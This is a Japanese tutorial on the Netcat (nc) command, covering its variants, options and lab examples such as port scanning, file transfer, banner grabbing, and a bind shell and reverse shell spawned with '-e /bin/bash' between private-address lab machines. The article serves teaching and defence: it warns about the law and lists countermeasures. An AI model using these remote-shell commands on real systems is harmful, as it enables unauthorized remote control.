ネットワーク調査やセキュリティ診断に欠かせない
Netcat(ncコマンド)
本記事では、Netcat(ncコマンド)の使い方を基本から応用例まで詳しく解説。具体的な使い方を知ることで、ネットワーク調査やペネトレーションテストのスキルが格段に上がります。
Netcat(ncコマンド)とは
Netcat(ncコマンド)は、〝ネットワークのスイスアーミーナイフ〟とも称されるほど汎用性の高いコマンドラインツールです。TCPまたはUDPプロトコルを用いて、任意のポートとの通信を行うことができ、ポートスキャン、バナー取得、ファイル転送、リモートシェルの取得など、さまざまな用途で活用されます。
Netcatの特徴
Netcatの最大の特徴は、接続元・接続先の両方の役割を担える点にあります。例えば、サーバー側では「待ち受け」としてLISTENモードを有効にし、クライアント側からの接続を受け入れることができます。また反対に、クライアント側として特定のIPアドレスとポートに対して能動的に接続し、データの送受信を行うことも可能です。
Netcatは「ネットワークのスイスアーミーナイフ」「TCP/IPのアーミーナイフ」と称されるほど多機能で、ポートスキャン、リモートシェルの起動、ファイル転送など多様な用途に対応しています。
- TCP/UDPクライアントとしての通信機能
- TCP/UDPサーバーとしてのリッスン機能
- ファイル転送機能
- ポートスキャン/ポートの疎通確認
- パイプやリダイレクトを使った柔軟なデータ処理
- 接続のタイムアウト設定
- スクリプトと容易に組み合わせることが可能(自動化に最適)
- 他のツールと連携して簡易プロキシとして使用可能
- バインドシェルやリバースシェルの実装が可能(ペネトレーションテスト用途)
Netcatの歴史
Netcat(ncコマンド)は、*Hobbit*(本名不明)によって開発され、1995年にバージョン1.00、1996年にバージョン1.10が公開されました。(以降、オリジナル版)
その後、オリジナル版の開発は停止しますが、Netcatの有用性からいくつかの派生版が登場します。
GNU Netcat | オリジナル版Netcatとの互換性を重視。 |
---|---|
OpenBSD Netcat | セキュリティ機能が強化され、TLSやプロキシ対応など追加機能が豊富。 |
Ncat(Nmap版) | Nmapプロジェクトによる強化版で、SSL/TLS、認証、接続中継などの高度な機能を持つ。 |
特にNmapプロジェクトが開発したNcatは、ポートスキャンの一環でNetcatの機能を活かしたいというニーズに応える形で進化しており、現在でも多くのセキュリティ現場で利用されています。
Netcatのダウンロード・インストール
Netcat(ncコマンド)は、多くのLinuxディストリビューションで標準パッケージとして提供されており、パッケージマネージャを使って容易にインストールできます。
ここでは、Debian系とRedHat系の代表的なディストリビューションについて解説します。
- Debian系
- Kali Linux
- Ubuntu Server
- RedHat系
- AlmaLinux
- Rocky Linux
各ディストリビューションが提供しているNetcat
Kali Linux(2025.1)
$ sudo apt search netcat
〜 省略 〜
ncat/kali-rolling 7.95+dfsg-1kali1 amd64
NMAP netcat reimplementation
netcat-openbsd/kali-rolling 1.228-1 amd64
TCP/IP swiss army knife
netcat-traditional/kali-rolling,now 1.10-50 amd64 [インストール済み]
TCP/IP swiss army knife
〜 省略 〜
Kali Linuxでは、「Ncat(Nmap版)」「OpenBSD Netcat」「オリジナル(Hobbit)版」が公式リポジトリに含まれており、オリジナル(Hobbit)版が標準インストールされています。
Ubuntu Server(24.04.2 LTS)
$ sudo apt search netcat
〜 省略 〜
ncat/noble 7.94+git20230807.3be01efb1+dfsg-3build2 amd64
NMAP netcat reimplementation
netcat-openbsd/noble,now 1.226-1ubuntu2 amd64 [installed,automatic]
TCP/IP swiss army knife
netcat-traditional/noble 1.10-48 amd64
TCP/IP swiss army knife
〜 省略 〜
Ubuntu Serverでは、「Ncat(Nmap版)」「OpenBSD Netcat」「オリジナル(Hobbit)版」が公式リポジトリに含まれており、OpenBSD Netcatが標準インストールされています。
AlmaLinux(9.5)
# dnf search netcat
〜 省略 〜
netcat.x86_64 : OpenBSD netcat to read and write data across connections using TCP or UDP
nmap-ncat.x86_64 : Nmap's Netcat replacement
〜 省略 〜
# dnf list installed *ncat*
インストール済みパッケージ
nmap-ncat.x86_64 3:7.92-3.el9 @appstream
# dnf list installed *netcat*
エラー: 表示するための一致したパッケージはありません
AlmaLinuxでは、「OpenBSD Netcat」「Ncat(Nmap版)」が公式リポジトリに含まれており、Ncat(Nmap版)が標準インストールされています。
Rocky Linux(9.5)
# dnf search netcat
〜 省略 〜
netcat.x86_64 : OpenBSD netcat to read and write data across connections using TCP or UDP
nmap-ncat.x86_64 : Nmap's Netcat replacement
〜 省略 〜
# dnf list installed *ncat*
インストール済みパッケージ
nmap-ncat.x86_64 3:7.92-3.el9 @appstream
# dnf list installed *netcat*
エラー: 表示するための一致したパッケージはありません
Rocky Linuxでは、AlmaLinux同様、「OpenBSD Netcat」「Ncat(Nmap版)」が公式リポジトリに含まれており、Ncat(Nmap版)が標準インストールされています。
インストール時の注意事項
- Netcatの実装(提供元)やバージョンの違いによって、動作やオプションに差異があります。
- 複数のNetcat実装を同一ホストにインストールすると、
nc
コマンドが意図しない実装(提供元)を参照する可能性があります。which nc
やnc -h
で実装(提供元)を確認してください。
この記事で使用する環境
この記事では、仮想化ソフトウェア(VirtualBox 7.1.8)を使用して、Windows 10上に仮想環境を構築し、仮想ネットワーク内で検証を実施しています。
- 仮想マシン1(Kali Linux 2025.1)
- 192.168.10.11
- オリジナル(Hobbit)版 Ncat v1.10
- 仮想マシン2(Metasploitable2)
- 192.168.10.101
- ポートスキャン用
- 仮想マシン3(Ubuntu Server 24.04.2 LTS)
- 192.168.10.102
- OpenBSD Netcat v1.226
- 仮想マシン4(AlmaLinux 9.5)
- 192.168.10.103
- Ncat(Nmap版)v7.92
- 仮想マシン5(Rocky Linux 9.5)
- 192.168.10.104
- Ncat(Nmap版)v7.92
本記事では、TCPポート12345を用いた検証を実施しており、各OSのファイアウォールにおいて同ポートの通信を許可しています。
また、ポートスキャンのターゲットマシンには、Metasploitable2(やられアプリ)を使用します。
Netcat(ncコマンド)の使い方
Netcat(ncコマンド)は、「ネットワークのスイスアーミーナイフ」とも呼ばれるほど多用途に使えるツールであり、その基本的な使い方を理解することは、ネットワーク調査・セキュリティ診断の第一歩となります。
基本的な使い方
例)接続モード(クライアント側・送信側)
$ nc [オプション] [ホスト名 or IPアドレス] [ポート番号]
例)リッスン(待ち受け)モード(サーバー側・受信側)
$ nc -l [オプション] -p [ポート番号]
例)ヘルプ
$ nc -h
Netcat(ncコマンド)のもっとも基本的な使い方は、TCPポートへの接続確認です。Telnetに近い動作ですが、より汎用性があります。
$ nc 接続先IPアドレス 80
このコマンドは、接続先IPアドレスのTCPポート80に接続を試みます。接続に成功すると、そのまま標準入力が通るため、手動でHTTPリクエストを送るなどの操作が可能です。
また、Netcatにはリッスン(待ち受け)モードもあり、-l
オプションを用いてポートを待ち受けることができます。以下の例では、ポート12345でTCP接続を受け付けます。
$ nc -l -p 12345
$ nc -l 12345 # -pは省略可能
この状態で、別の端末から同じポート(12345)に対して接続することで、Netcatを用いた双方向通信が可能になります。
基本的な使い方として重要なのは、「接続する側」と「待ち受ける側」を明確に理解することです。接続する側では、対象ホストとポートを指定し、待ち受ける側では-l
オプションでポートを開きます。NetcatはTCP/UDPの両方に対応していますが、デフォルトではTCPで通信を行います。UDP通信を行う場合は、-u
オプションを使用します。
ncコマンドのオプション
Netcat(ncコマンド)には多くのオプションがあり、使用目的に応じて細かい制御が可能です。ここでは、代表的なオプションについて解説します。
-l
:リッスンモード(待ち受けモード)-u
:UDPモード-v
:詳細を出力-z
:ゼロ I/O モード(ポートスキャンに使用)-w
:タイムアウト時間(単位:秒)-e
:コマンド実行-n
:名前解決をしない-o
:ログファイルに保存
-l:リッスンモード(待ち受けモード)
例)TCPポート12345で接続を待ち受け
$ nc -l -p 12345 # ポート番号を-pオプションで指定
$ nc -l 12345 # ポート番号をコマンドラインの引数で指定
まず、-l
オプションは「listen」、すなわち受信側(サーバー)として動作させる際に使用します。このオプションを指定すると、サーバーのように動作し、クライアントからの接続を待ち受けます。
ポート番号の指定方法は、実装(提供元)により異なります。
オリジナル(Hobbit)版 | -p オプションのみ対応 |
OpenBSD Netcat | -p オプション、コマンドライン引数の両方に対応 |
Ncat(Nmap版) | -p オプション、コマンドライン引数の両方に対応 |
-u:UDPモード
例)UDPポート12345に接続
$ nc -u 接続先IPアドレス 12345
NetcatはデフォルトでTCPプロトコルを使用しますが、-u
オプションを指定することでUDP通信にも対応可能です。これは、DNSやSNMPといったUDPプロトコルの疎通確認に使用します。
-v:詳細を出力
$ nc -v 接続先IPアドレス 80
-v
オプションは「verbose」、すなわち冗長モードでの出力を意味します。このオプションを指定することで、接続成功・失敗、名前解決結果などの詳細な情報が表示され、トラブルシューティングに役立ちます。
-z:ゼロ I/O モード(ポートスキャンに使用)
例)ポートスキャン(1から1024番までのTCPポートの開閉状態を調査)
$ nc -zv 接続先IPアドレス 1-1024
-z
オプションは「ゼロ I/O モード」と呼ばれ、データ送受信を行わずに接続確認だけを行います。
-w:タイムアウト時間(単位:秒)
例)5秒間接続を試み、接続できない場合は終了する
$ nc -w 5 接続先IPアドレス 80
-w
オプションを使用して、接続タイムアウトの時間(秒)を指定します。指定した時間内に接続できない場合、接続を終了します。
-e:コマンド実行
例)TCPポート12345で接続を待ち、接続があった際に/bin/bashを起動
$ nc -l -p 12345 -e /bin/bash
-e
オプションを使用すると、接続が完了した時点で指定のコマンドを自動実行します。このオプションはバインドシェルやリバースシェルを作成する際に使用されますが、セキュリティ上のリスクも伴うため、本番環境での使用は推奨されていません。
-n:名前解決をしない
例)ホスト名の名前解決をしない
$ nc -v -n 接続先IPアドレス 80
-n
オプションは、ホスト名の名前解決を行わず、IPアドレスで接続を試みます。
-o:ログファイルに保存
例)通信内容をlog.txtに出力
$ nc -v -o log.txt 接続先IPアドレス 80
-o
オプションは、指定したファイルに通信の内容を出力します。
Netcat(ncコマンド)の具体的な使用例
Netcat(ncコマンド)は、ネットワーク通信を直接操作できるツールとして、TCPおよびUDPを使った通信の確立、データ送受信、ポートスキャン、バナー取得などに用いられます。
ここでは、実務でよく用いられる代表的な使用例について、具体的なコマンドとともに解説します。
- ポートの疎通確認
- チャット機能
- UDP通信
- ポートスキャン
- ファイル転送
- バナーグラビング(サービス識別)
- Bind Shell(バインドシェル)
- Reverse Shell(リバースシェル)
ポートの疎通確認
Netcat(ncコマンド)を使用した疎通確認は、特定のポートで対象ホストがリッスン状態にあるか、通信可能であるかを確認する目的で行います。
Kali Linuxで実行(接続先:Ubuntu Server)
$ nc -zv [接続先IPアドレス] [ポート番号]
例)接続成功の場合
$ nc -vz 192.168.10.102 22
Ubuntu-Server [192.168.10.102] 22 (ssh) open
例)接続失敗の場合
$ nc -vz 192.168.10.102 23
Ubuntu-Server [192.168.10.102] 23 (telnet) : Connection timed out
-v
:詳細モード(verbose)-z
:ゼロI/Oモード(実際のデータ送信は行わず、接続可否のみを確認)
この方法は、ネットワーク障害やセキュリティ診断において利用されます。例えば、ネットワーク構成変更後や新規サーバー構築時の通信確認において、「pingは通るがアプリケーションに接続できない」という状況に直面することがあります。そうしたケースでは、Netcatを使ってポート単位で疎通確認することがトラブルシューティングの第一歩になります。
ping
はICMPプロトコルを使用した通信確認であり、ポートの疎通確認には使用できません。
ツール | 使用プロトコル | 使用用途 |
---|---|---|
ping | ICMP | ホストの生存確認 |
Netcat | TCP/UDP | ポートの疎通確認 |
チャット機能
Netcat(ncコマンド)を用いることで、非常にシンプルなチャット環境を構築できます。片方の端末を「サーバー」、もう片方を「クライアント」と見立てて、サーバー側で待ち受けポートを開き、クライアント側から接続を試みます。
Ubuntu Server
$ nc -l -p [ポート番号]
例)TCPポート12345の場合
$ nc -l -p 12345
-l
オプションは「listen(待ち受け)」を意味し、TCPポート12345で接続を待機します。(なお、待機中は何も表示されません。)
Kali Linux
$ nc [サーバーのIPアドレス] [ポート番号]
例)
$ nc 192.168.10.102 12345
この接続が確立されると、標準入力と標準出力を通じて両端末間で文字列を送受信できるようになります。つまり、片方が送信したテキストは、もう一方の端末にリアルタイムで表示され、まるでチャットのような操作感が得られます。
- クライアント側で「Hello」と入力すると、サーバー側に「Hello」と表示される。
- サーバー側で「Thanks」と入力すると、クライアント側に「Thanks」と表示される。
Netcatのチャット機能は便利ですが、セキュリティ面で以下の点に注意する必要があります。
リスク要因 | 説明 | 対策 |
---|---|---|
暗号化なし | 通信内容が平文で送信されるため、盗聴のリスクがある | VPN内での使用、もしくはncat --ssl を使用 |
認証なし | 誰でも接続可能であり、不正アクセスの危険がある | ファイアウォールなどでIP制限をかける |
ログに残らない | 通信履歴が残らないため、証跡管理が困難 | -o オプションやtee コマンドなどでログを取得する |
UDP通信
Netcatは、TCPだけでなくUDPプロトコルにも対応しており、UDP通信の動作テストや疎通確認を行う際にも有用です。
ncコマンドでUDP通信を行うには、-u
オプションを付けてコマンドを実行します。
例)サーバー側(受信側)
$ nc -u -l [ポート番号]
例)クライアント側(送信側)
$ nc -u [接続先IPアドレス] [ポート番号]
UDPはコネクションレスであるため、以下の制限があります。
- 通信の確立・切断という概念がない
- 応答が返ってくる保証がない
- パケットロス時の再送処理がない
ポートスキャン
Netcatは、ネットワーク診断ツールの機能も有しており、特にポートスキャン機能は対象ホストの開いているポートを特定する際に使用します。攻撃者によって悪用されることもありますが、正規の管理目的でも、サービス稼働状況の把握や脆弱性評価の初期調査に役立ちます。
Netcatを使用したポートスキャンは、以下のコマンドで実行できます。
Kali Linuxでポートスキャンを実行(対象ホスト:Metasploitable2)
$ nc -zv [対象ホストのIPアドレス] [ポート番号]
例)Kali LinuxからMetasploitable2にポートスキャンを実行
$ nc -vz 192.168.10.101 1-1024
Metasploitable2 [192.168.10.101] 514 (shell) open
Metasploitable2 [192.168.10.101] 513 (login) open
Metasploitable2 [192.168.10.101] 512 (exec) open
Metasploitable2 [192.168.10.101] 445 (microsoft-ds) open
Metasploitable2 [192.168.10.101] 139 (netbios-ssn) open
Metasploitable2 [192.168.10.101] 111 (sunrpc) open
Metasploitable2 [192.168.10.101] 80 (http) open
Metasploitable2 [192.168.10.101] 53 (domain) open
Metasploitable2 [192.168.10.101] 25 (smtp) open
Metasploitable2 [192.168.10.101] 23 (telnet) open
Metasploitable2 [192.168.10.101] 22 (ssh) open
Metasploitable2 [192.168.10.101] 21 (ftp) open
-z
:ゼロI/Oモード(データ送信は行わずに接続確認だけを行う)-v
:冗長モード(詳細情報を出力)1-1024
:ポート番号は範囲指定可能
この例では、対象ホスト(192.168.10.101)のTCPポート1から1024までをスキャンしています。
Netcatのポートスキャンは、あくまで簡易的なスキャン手法であり、高速化やフィンガープリント機能などは備えていません。そのため、Nmapのような専用スキャナに比べて機能面では限定されますが、環境によってはNetcatのみが利用可能なケースもあるため、選択肢として習得しておく価値があります。
ファイル転送
Netcat(ncコマンド)を使えば、TCP通信を用いたファイル転送が容易に実現できます。特に、SSHやFTPといった専用プロトコルを用意できない環境下で、一時的にファイルを送受信する手段として用いられるケースがあります。
ファイル転送の基本的な構成は、受信側がリッスンモードで待ち受け、送信側が接続してデータを送信するという単純な構図です。
Ubuntu Server(受信側)
$ nc -l -p 12345 > received_file.txt
このコマンドでは、TCPポート12345で接続を待ち受け、受信した内容を received_file.txt
に保存します。
Kali Linux(送信側)
$ nc 192.168.10.102 12345 < send_file.txt
このコマンドにより、send_file.txt
の内容をNetcat経由で192.168.10.102
に送信します。
なお、待ち受け側がファイルを送信することもできます。(上記とは逆)
例)待ち受け側(ファイル送信)
$ nc -l 12345 < send_file.txt
例)接続側(ファイル受信)
$ nc 192.168.10.102 12345 > received_file.txt
バナーグラビング(サービス識別)
バナーグラビングとは、対象ポートに接続してサービスの情報(バナー)を取得する手法です。
Kali Linux(対象ホスト:Metasploitable2)
$ nc 192.168.10.101 22
-- 実行結果(レスポンス) --
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
Kali Linux(対象ホスト:Metasploitable2)
$ nc 192.168.10.101 80
GET / HTTP/1.1
Host: 192.168.10.101
Connection: close
-- 実行結果(レスポンス) --
HTTP/1.1 200 OK
Date: Fri, 06 Jun 2025 09:23:33 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 891
Connection: close
Content-Type: text/html
〜 以下、省略 〜
HTTPリクエストを手動で入力することで、レスポンスからWebサーバーの種類やバージョンを確認することができます。
Bind Shell(バインドシェル)
バインドシェル(Bind Shell)は、ターゲットマシン上でシェル(コマンドライン)を待ち受け状態にし、攻撃者がそこに接続することで遠隔操作を可能にする手法です。攻撃者はこのポートに対してリモートから接続することで、対象マシンのシェルを操作できるようになります。
Netcatのバインドシェルを利用して、他人のサーバーにバックドアを仕掛ける行為は、不正アクセス禁止法などの法律に抵触する可能性があります。絶対にお控えください。
防御側の視点では、攻撃者のこうした手法を理解して、検知・防御体制を整えることが重要です。
ダーゲットマシン(AlmaLinux)
$ nc -l -p 12345 -e /bin/bash
-l
:待ち受け(listen)モード-p 12345
:ポート番号を指定-e /bin/bash
:接続時に/bin/bash
を起動する
ターゲットマシンが指定ポートで接続を待ち受け、そのポートに攻撃者が接続することで、対象マシンのシェルへアクセスできる状態になります。
攻撃者側(Kali Linux)
$ nc 192.168.10.103 12345
bash
が操作可能な状態になります。攻撃者側(Kali Linux)
cat /etc/redhat-release
AlmaLinux release 9.5 (Teal Serval)
hostname -I
10.0.2.15 192.168.10.103 fd17:625c:f037:2:a00:27ff:fef9:40de
Reverse Shell(リバースシェル)
リバースシェル(Reverse Shell)とは、ターゲットマシンから攻撃者の端末に対して能動的に接続を行わせることで、攻撃者がその端末上でコマンドを実行できるようにする手法です。ネットワーク上のファイアウォールによって外部からの接続が遮断されている場合でも、内側からのアウトバウンド通信を利用することで接続が成立する点が特徴です。
攻撃者側(Kali Linux)
$ nc -l -p 12345
ダーゲットマシン(Rocky Linux)
$ nc 192.168.10.11 12345 -e /usr/bin/bash
攻撃者側(Kali Linux)
cat /etc/redhat-release
Rocky Linux release 9.5 (Blue Onyx)
hostname -I
10.0.2.15 192.168.10.104 fd17:625c:f037:2:a00:27ff:fe10:2e0c
このような使い方は、ペネトレーションテストやレッドチーム演習において、攻撃経路の検証や検知体制の評価目的で利用されます。
リバースシェルのような不正なアウトバウンド通信を防ぐためには、以下のような対策が有効です。
- アウトバウンド通信のホワイトリスト制御
- IDS/IPS(侵入検知・防御システム)の導入
- ログ監視・SIEMによる異常検知
- EDRによるプロセス・通信の挙動監視
- ペネトレーションテストや脆弱性診断の実施